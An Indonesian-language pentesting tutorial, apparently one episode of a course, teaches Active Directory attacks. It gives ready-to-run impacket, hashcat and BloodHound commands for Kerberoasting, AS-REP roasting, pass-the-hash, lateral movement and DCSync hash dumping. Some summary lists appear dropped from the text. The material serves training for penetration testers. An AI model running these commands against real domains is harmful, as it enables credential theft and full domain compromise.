Mempelajari teknik Active Directory pentesting: Kerberos attacks (Kerberoasting, AS-REP Roasting), BloodHound untuk attack path analysis, dan lateral movement di environment enterprise berbasis AD

Setelah di episode 9 kita mempelajari post-exploitation & privilege escalation — meningkatkan hak akses, persistence, dan pivoting — pada episode ini kita masuk ke domain spesifik yang menjadi target utama di hampir semua environment enterprise: Active Directory (AD).
AD mengatur autentikasi, autorisasi, dan manajemen seluruh resource di jaringan Windows. Jika kalian bisa mengkompromi AD, kalian menguasai seluruh domain. AD pentesting adalah salah satu skill paling berharga bagi penetration tester.
Kerberos adalah protokol autentikasi yang digunakan AD. Memahami alurnya adalah kunci untuk memahami serangan:
Kerberos Flow
==============
1. Client → KDC: AS-REQ (request ticket)
2. KDC → Client: AS-REP (TGT + session key)
3. Client → KDC: TGS-REQ (request service ticket)
4. KDC → Client: TGS-REP (service ticket)
5. Client → Service: AP-REQ (service ticket + authenticator)Kerentanan muncul pada implementasi dan konfigurasi AD yang tidak optimal.
Kerberoasting mengeksploitasi fakta bahwa setiap service account dengan SPN (Service Principal Name) bisa diminta ticket-nya, dan ticket tersebut bisa di-crack offline:
# Menggunakan Impacket
impacket-GetUserSPNs domain/user:password -request
# Output: hash TGS yang bisa di-crack dengan Hashcat
hashcat -m 13100 tgs_hash.txt /usr/share/wordlists/rockyou.txtMengapa berbahaya: service account sering menggunakan password yang tidak pernah di-rotate, dan hash-nya bisa di-crack offline tanpa mengirim request ke DC.
Jika akun memiliki DONT_REQ_PREAUTH set, attacker bisa meminta TGT tanpa password:
# Cari akun tanpa preauth
impacket-GetNPUsers domain/ -usersfile users.txt -dc-ip dc_ip -format hashcat
# Crack hash
hashcat -m 18200 asrep_hash.txt /usr/share/wordlists/rockyou.txt# Pass-the-Hash (NTLM)
impacket-psexec domain/user@target -hashes aad3b435b51404ee:hash
# Pass-the-Ticket
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccacheBloodHound memetakan semua relationship di AD untuk menemukan jalur serangan terpendek ke domain admin:
# Collection (dari Windows)
SharpHound.exe -c All
# Atau menggunakan bloodhound-python (Linux)
bloodhound-python -u user -p password -d domain.com -dc dc.domain.com -c All
# Import ke Neo4j
# Buka BloodHound GUI → Upload ZIP → AnalyzeBloodHound akan menunjukkan:
# Remote ke komputer lain
Enter-PSSession -ComputerName target.com
# Execute command
Invoke-Command -ComputerName target.com -ScriptBlock { whoami }# Menggunakan impacket
impacket-wmiexec domain/user:password@target.com
# Execute command
wmiexec.py domain/user:password@target.com "cmd /c whoami"DCSync meniru Domain Controller untuk mendapatkan password hash semua akun:
# Menggunakan secretsdump
impacket-secretsdump domain/user:password@dc_ip
# Output: NTLM hashes untuk semua akun termasuk krbtgtWarning
DCSync hanya bisa dilakukan oleh Domain Controller atau akun dengan replikasi permission (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All). Ini adalah serangan high-impact yang meninggalkan jejak kuat di logs.
Setup AD lab menggunakan:
# 1. Enumerate SPNs
impacket-GetUserSPNs domain/user:password -request
# 2. Run BloodHound
bloodhound-python -u user -p password -d domain.com -dc dc.domain.com -c All
# 3. Analyze attack paths
# Buka BloodHound GUI → shortest path to Domain Admin
# 4. Kerberoast
hashcat -m 13100 tgs_hash.txt rockyou.txtInti yang harus dibawa pulang:
Di episode 11 selanjutnya, kita akan mempelajari social engineering & phishing — teknik yang mengeksploitasi manusia sebagai target, termasuk phishing simulation dan awareness reporting.